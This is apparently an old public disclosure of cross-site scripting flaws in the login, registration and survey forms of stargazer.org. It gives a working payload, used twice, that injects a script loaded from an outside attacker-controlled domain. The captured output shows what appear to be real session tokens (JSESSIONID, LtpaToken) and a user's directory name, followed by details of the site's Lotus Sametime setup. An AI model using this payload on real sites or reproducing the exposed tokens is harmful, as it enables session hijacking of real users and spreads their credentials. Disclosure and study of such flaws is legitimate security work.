Stargazer.org - XSS with Session output
Stargazer.org
Homepage:
http://www.stargazer.org
Effected files:
login box
registration boxes
creating a survey
---------------------------------------
Login box & registration XSS Vuln:
for proof of concept just try adding:
'';!--"<XSS>=&{()}<SCRIPT
SRC=http://youfucktard.com/xss.js></SCRIPT>'';!--"<XSS>=&{()}
in the login or registration boxes.
-----------------------------------------
Creating a survey. In the tools section, you can create a survey. Input data
isn't sanatized, so a usercould create a XSS example ofattack. For the name of
your survey try putting:
Proof of concept:
'';!--"<XSS>=&{()}<SCRIPT
SRC=http://youfucktard.com/xss.js></SCRIPT>'';!--"<XSS>=&{()}
The data output on the screen is:
'';!--"=&{()}This is remote text via xss.js located at youfucktard.com
JSESSIONID=0000bZyPd7JGkIqxhgfjnJBYEgn:-1;LtpaToken=zCey/UfagwfE0jhdN9u7ZrwjNrIO7tNF64Dxji+G4NxiFCBlMMHHAvLwCXd5UWfF/Er0tJNjrjWwUowPIYmXO5/R+WRvSiy4o2ngGaRXPjoqNTLBBb9RO9dWvGq5MpDJkX7I8qdd+gV092xtsG90XS+CsXD52nG96y1mWCv5pJK2soDpi+P1WnLc0qWRAs0RNyJqfzvYPU4R64o6aPVEyorn6LS9WRf+VFxbs+IG7x3DGmYvCC2KDRhdvaigQqw1RGBZGm3ptQlwh7vpnNZlqyE1NE1YyoCXzgGdQQm6gX6ZPSgD68NXh/1i59JhyURsQfK7GrkGKglkcTd3yzFcLA=='';!--"=&{()}
- www.Stargazer.org/SG-1218
And at the bottom of the html source is:
[script type="text/javascript" language="Javascript"]
if (typeof writeSTLinksApplet == "function") writeSTLinksApplet("CN=andy
dickens,o=sgnorg",
"zCey/UfagwfE0jhdN9u7ZrwjNrIO7tNF64Dxji+G4NxiFCBlMMHHAvLwCXd5UWfF/Er0tJNjrjWwUowPIYmXO5/R+WRvSiy4o2ngGaRXPjoqNTLBBb9RO9dWvGq5MpDJkX7I8qdd+gV092xtsG90XS+CsXD52nG96y1mWCv5pJK2soDpi+P1WnLc0qWRAs0RNyJqfzvYPU4R64o6aPVEyorn6LS9WRf+VFxbs+IG7x3DGmYvCC2KDRhdvaigQqw1RGBZGm3ptQlwh7vpnNZlqyE1NE1YyoCXzgGdQQm6gX6ZPSgD68NXh/1i59JhyURsQfK7GrkGKglkcTd3yzFcLA==",
true);
[/script]
The server seems to be using IBM's Lotus Collaborative Services. At the top of
the html source we find some javascript with referrers to stlinks.js, which
stands for sametime links.js and is appeared to be used for building instant
messaging applications on Lotus Domino 6.5.1+ servers:
[script type="text/javascript" language="Javascript"
src="http://sametime.stargazer.org:80/sametime/stlinks/stlinks.js"][/
script]
[script type="text/javascript" language="Javascript"]
var pacSTServerName = 'sametime.stargazer.org';
var pacSTServerVersion = '3.0';
var pacSTServerHTMLPort = '80';
var pacSTServerProtocol = 'http';
var pacSTServerFullURL = 'http://sametime.stargazer.org:80';
if (typeof setSTLinksURL == "function")
setSTLinksURL("http://sametime.stargazer.org:80/sametime/stlinks";, "en");
[/script]
More information on the above can be found at:
http://www-1.ibm.com/support/search.wss?q=stlinks.js&rs=0&lang=en+en&loc=en-US&from=tss&ics=iso-8859-1&cs=utf-8&cc=us
Below are screenshots of the login xss as well as the creating a survey vuln
with the output data.
Screenshots:
http://www.youfucktard.com/xsp/sg1.jpg
http://www.youfucktard.com/xsp/sg2.jpg
http://www.youfucktard.com/xsp/sg3.jpg